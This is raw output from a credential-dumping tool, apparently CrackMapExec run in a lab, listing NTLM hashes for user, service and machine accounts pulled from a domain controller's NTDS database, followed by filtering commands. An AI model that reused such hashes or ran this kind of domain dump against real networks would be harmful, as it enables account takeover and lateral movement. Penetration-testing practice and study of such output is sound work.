SMB 10.9.20.10 445 M3DC m3c.local\David.Carr:1280:aad3b435b51404eeaad3b435b51404ee:7f6ef60c0214df137ad87278c8d13c3d:::
SMB 10.9.20.10 445 M3DC m3c.local\Hermine.Hall:1281:aad3b435b51404eeaad3b435b51404ee:6eb716f2faff41a6845fd759d38d94d5:::
SMB 10.9.20.10 445 M3DC m3c.local\Wayne.Johnson:1282:aad3b435b51404eeaad3b435b51404ee:2926598a3a20771dcf3eaa55a1a4c41b:::
SMB 10.9.20.10 445 M3DC m3c.local\Gail.Robinson:1283:aad3b435b51404eeaad3b435b51404ee:9006a7c59db1bf874e745007e3e31285:::
SMB 10.9.20.10 445 M3DC m3c.local\Felipe.Gillum:1284:aad3b435b51404eeaad3b435b51404ee:97fa9d6cf3ee53a1979404bf5c74b4c3:::
SMB 10.9.20.10 445 M3DC m3c.local\Edgar.Hagerman:1285:aad3b435b51404eeaad3b435b51404ee:c82fbbb86036c50c9160692abc584839:::
SMB 10.9.20.10 445 M3DC m3c.local\John.Chan:1286:aad3b435b51404eeaad3b435b51404ee:1fabecb3886cdf45bff503f7ff032c36:::
SMB 10.9.20.10 445 M3DC m3c.local\Richard.Macleod:1287:aad3b435b51404eeaad3b435b51404ee:06aec1f299f8d52dd10995d5a132fb46:::
SMB 10.9.20.10 445 M3DC m3c.local\Elizabeth.Dunham:1288:aad3b435b51404eeaad3b435b51404ee:f71842ca161a133edcc015c5206616d8:::
SMB 10.9.20.10 445 M3DC m3c.local\Robert.Jones:1289:aad3b435b51404eeaad3b435b51404ee:5adbe1d84a3617f384dee873fc65e9fd:::
SMB 10.9.20.10 445 M3DC m3c.local\Troy.Bing:1290:aad3b435b51404eeaad3b435b51404ee:7849b732fe3058e0b555b7e0e6ad051a:::
SMB 10.9.20.10 445 M3DC m3c.local\Saul.Wright:1291:aad3b435b51404eeaad3b435b51404ee:aad487d2154ddfcd3a8539049e17bd72:::
SMB 10.9.20.10 445 M3DC m3c.local\svc_sql:1292:aad3b435b51404eeaad3b435b51404ee:e04c4ef54a1a6f4e4fc0de22f0b5fb2d:::
SMB 10.9.20.10 445 M3DC m3c.local\svc_apache:1293:aad3b435b51404eeaad3b435b51404ee:b266d8902ae30ec65abdfbe28d34c819:::
SMB 10.9.20.10 445 M3DC M3DC$:1000:aad3b435b51404eeaad3b435b51404ee:7a96bac19802120d621a0752db472651:::
SMB 10.9.20.10 445 M3DC M3WEBAW$:1318:aad3b435b51404eeaad3b435b51404ee:2e61a0e49c4724aebfd2878d1e612518:::
SMB 10.9.20.10 445 M3DC M3SQLW$:1320:aad3b435b51404eeaad3b435b51404ee:a09cbeb5c0e16d1e926c5b3d884949a4:::
SMB 10.9.20.10 445 M3DC [+] Dumped 198 NTDS hashes to /home/jay/.cme/logs/M3DC_10.9.20.10_2023-12-09_170530.ntds of which 195 were added to the database
SMB 10.9.20.10 445 M3DC [*] To extract only enabled accounts from the output file, run the following command:
SMB 10.9.20.10 445 M3DC [*] cat /home/jay/.cme/logs/M3DC_10.9.20.10_2023-12-09_170530.ntds | grep -iv disabled | cut -d ':' -f1
SMB 10.9.20.10 445 M3DC [*] grep -iv disabled /home/jay/.cme/logs/M3DC_10.9.20.10_2023-12-09_170530.ntds | cut -d ':' -f1